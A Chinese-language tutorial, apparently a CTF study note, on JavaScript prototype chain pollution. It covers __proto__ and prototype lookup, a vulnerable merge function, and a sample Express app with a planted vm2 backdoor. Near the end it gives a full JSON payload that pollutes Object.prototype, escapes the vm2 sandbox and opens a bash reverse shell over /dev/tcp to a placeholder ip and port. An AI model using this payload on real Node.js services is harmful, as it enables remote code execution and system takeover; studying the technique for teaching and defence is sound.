目录
prototype和proto用法
对象.proto=构造器(构造函数).prototype
构造器.prototype其实也是一个对象,为构造函数的原型对象,同样有__proto__属性,一直通过原型链__proto__最终可找到null。
我们可以通过Foo.prototype来访问Foo类的原型,但Foo实例化出来的对象,是不能通过prototype访问原型的。这时候,就该__proto__登场了。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__属性来访问Foo类的原型,也就是说:
foo.__proto__ == Foo.prototype
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
每个构造函数(constructor)都有一个原型对象(prototype) 对象的__proto__属性,指向类的原型对象prototype JavaScript使用prototype链实现继承机制
原型组成的链,对象的__proto__是原型,而原型也是一个对象,也有__proto__属性,原型的__proto__又是原型的原型,就这样可以一直通过__proto__向上找,这便是原型链,当向上找找到Object的原型的时候,这条原型链便算结束了。
原型链污染
通过foo.proto修改定义它的类的原型的属性
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
最后,虽然zoo是一个空对象{},但zoo.bar的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。
(这样相当于给类添加了新的属性,而这个对象中也有bar这个属性,所以类的改变并不会影响到已经创建好的对象的属性,但是新创建的对象就不一样了)
1.首先我们要知道 构造函数.prototype指向的是一个对象(原型)
2.任何对象都有一个原型对象,这个原型对象由对象的内置属性__proto__指向它的构造函数的prototype指向的对象,即任何对象都是由一个构造函数创建的
3.只有构造函数内才有ptorotype属性
4.每个对象都内含有一个属性:__proto__,也就是说就算对象里面没有对这个属性进行赋值,那么也是有这个属性的
5.原型链的核心就是依赖对象__proto__的指向,当访问的属性在该对象不存在时,就会向上从该对象构造函数的prototype的进行查找,直至查找到Object时,就没有指向了。如果最终查找失败会返回undefined或报错
如何产生原型链污染?
考虑如下代码:
function merge(target, source) {
for (let key in source) {
if (key in source && key in target) {
merge(target[key], source[key])
} else {
target[key] = source[key]
}
}
}
let o1 = {}
let o2 = {"a": 1, "__proto__": {"b": 2}}
merge(o1, o2)
console.log(o1.a, o1.b)//1,2
o3 = {}
console.log(o3.b)//无值
此时Object类没有被修改,故而原型类为Object的o3对象并没有b这个属性。
因为o2中的__proto__已经被解析成原型了
所以我们要使用JSON.parse
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
此时执行后就可以利用原型链污染,修改Object类
哪些可能产生原型链污染?
例题1:
const express = require('express');
const app = express();
const { VM } = require('vm2');
app.use(express.json());
const backdoor = function () {
try {
new VM().run({}.shellcode);
} catch (e) {
console.log(e);
}
}
const isObject = obj => obj && obj.constructor && obj.constructor === Object;
const merge = (a, b) => {
for (var attr in b) {
if (isObject(a[attr]) && isObject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a
}
const clone = (a) => {
return merge({}, a);
}
app.get('/', function (req, res) {
res.send("POST some json shit to /. no source code and try to find source code");
});
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
app.listen(3000, function () {
console.log('start listening on port 3000');
});
首先在backdoor()函数中,利用new VM().run({}.shellcode);新建了沙箱,并将构造函数为Object的对象的shellcode属性值作为代码执行了。故而需要利用原型链污染,修改Object类的该属性,并完成沙箱逃逸,访问全局变量上下文,执行rce。
app.post('/', function (req, res) {
try {
console.log(req.body)
var body = JSON.parse(JSON.stringify(req.body));
var copybody = clone(body)
if (copybody.shit) {
backdoor()
}
res.send("post shit ok")
}catch(e){
res.send("is it shit ?")
console.log(e)
}
})
利用如上代码,其中rep.body保存的是请求体中的键值对数据。
payload:
{"shit":1,"__proto__":{"shellcode":"let res = import('./app.js');res.toString.constructor(\"return this\") ().process.mainModule.require(\"child_process\").execSync('bash -c \"bash -i >& /dev/tcp/ip/port 0>&1\"').toString();"}}
payload中保证shit属性为1,调用backdoor()函数。通过__proto__修改Object的shellcode属性。
导入模块app.js返回一个Promise对象。res.toString
访问了 Promise.prototype.toString
属性,并返回了一个表示该方法的函数对象。紧接着,函数对象上调用了 constructor
方法传入了一个字符串参数 "return this"
,这将返回一个新的函数,该函数返回全局对象。再调用该全局对象的process属性,之后就是rce模板,需要自定义ip和端口,打开kali进行监听。
请求头里要改成Content-Type: application/json